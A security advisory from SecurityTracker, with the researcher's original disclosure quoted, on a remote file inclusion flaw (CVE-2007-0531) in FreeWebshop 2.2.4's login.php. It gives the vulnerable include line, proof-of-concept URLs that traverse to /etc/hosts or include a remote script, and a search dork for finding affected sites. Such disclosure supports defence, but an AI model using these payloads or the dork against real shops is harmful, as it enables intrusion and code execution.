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Category:   Application (Commerce)  >   FreeWebshop Vendors:   FreeWebshop.org
FreeWebshop Include File Bug in '/includes/login.php' Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1017549
SecurityTracker URL:  http://securitytracker.com/id/1017549
CVE Reference:   CVE-2007-0531   (Links to External Site)
Updated:  May 19 2008
Original Entry Date:  Jan 24 2007
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 2.2.4
Description:   David Sopas Ferreira a.k.a SmOk3 reported a vulnerability in FreeWebshop. A remote user can include and execute arbitrary code on the target system.

The '/includes/login.php' script does not properly validate user-supplied input in the 'lang_file' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

Some deomonstration exploit URLs are provided:

/includes/login.php?lang_file=../../../../../../etc/hosts
/includes/login.php?lang_file=[evilscript]

The vendor has been notified.

The original advisory is available at:

http://14house.blogspot.com/2007/01/freewebshoporg-remote-file-inclusion.html

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry. The vendor is working on a fix.
Vendor URL:  www.freewebshop.org/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:   Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Date:  Tue, 23 Jan 2007 20:43:41 +0000
Subject:  FreeWebShop.org Remote File Inclusion Flaw

FreeWebShop.org Remote File Inclusion Flaw

Software: FreeWebshop.org v2.2.4
Vendor link: http://www.freewebshop.org // info@freewebshop.org
Attack: Remote File Inclusion

Discovered by: David Sopas Ferreira a.k.a SmOk3 <mail>smok3f00 at
gmail.com</mail>
Original advisory:
http://14house.blogspot.com/2007/01/freewebshoporg-remote-file-inclusion.html

Google dork:"Powered by FreeWebshop.org"


Vulnerable Code:

-- /includes/login.php --

(...) line 38
include ($lang_file);
(...)


Proof of Concept:

/includes/login.php?lang_file=../../../../../../etc/hosts
/includes/login.php?lang_file=[evilscript]

Solution:
Vendor was contacted and will fix this soon.
 
 


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